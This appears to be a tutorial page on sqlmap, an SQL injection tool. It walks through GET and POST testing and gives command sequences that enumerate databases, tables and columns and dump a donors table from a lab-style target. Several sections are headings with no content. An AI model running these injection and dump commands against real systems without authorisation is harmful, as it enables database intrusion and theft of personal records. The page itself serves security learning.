sqlmap

Overview

sqlmap is an open-source SQL injection automation framework focused on detection, fingerprinting, enumeration, and exploitation of injectable parameters. The useful way to learn it is not by memorizing every flag, but by understanding a clean workflow: define the target, confirm the injectable parameter, enumerate only what you need, and avoid running high-impact options blindly.

What sqlmap Is For

sqlmap automates common SQL injection tasks:

Installation

Kali usually ships with sqlmap already installed. Otherwise, install it from the official project:

https://github.com/sqlmapproject/sqlmap

Basic help:

sqlmap -h
sqlmap -hh

Core Flags That Matter

Safe Workflow

A disciplined sqlmap workflow usually looks like this:

Simple GET Example

For a classic GET parameter:

sqlmap -u "https://testsite.com/page.php?id=7" --dbs

This tells sqlmap to test the URL and enumerate available databases if injection succeeds.

Simple POST Example

For POST requests, the most reliable method is usually to save the full raw request from your proxy and feed that to sqlmap.

POST /blood/nl-search.php HTTP/1.1
Host: 10.10.17.116
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=bt0q6qk024tmac6m4jkbh8l1h4

blood_group=B%2B

If blood_group is the parameter you want to test:

sqlmap -r req.txt -p blood_group --dbs

This is more precise than throwing sqlmap at the whole site and hoping it finds something useful.

Database Enumeration Sequence

Once injection is confirmed, enumerate in order.

1. List Databases

sqlmap -r req.txt -p blood_group --dbs

2. List Tables in One Database

sqlmap -r req.txt -p blood_group -D blood --tables

3. List Columns in One Table

sqlmap -r req.txt -p blood_group -D blood -T donors --columns

4. Dump Specific Data

sqlmap -r req.txt -p blood_group -D blood -T donors --dump

Useful Precision Controls

Example: if time-based testing makes the app unstable, rerun with a narrower technique set instead of letting sqlmap keep hammering slow payloads.

OS-Level Options

sqlmap includes high-impact switches such as:

These are not routine enumeration features. They depend heavily on DBMS privileges, OS setup, and exploitation preconditions. Treat them as escalation steps, not default options.

Operational Notes

Key Takeaways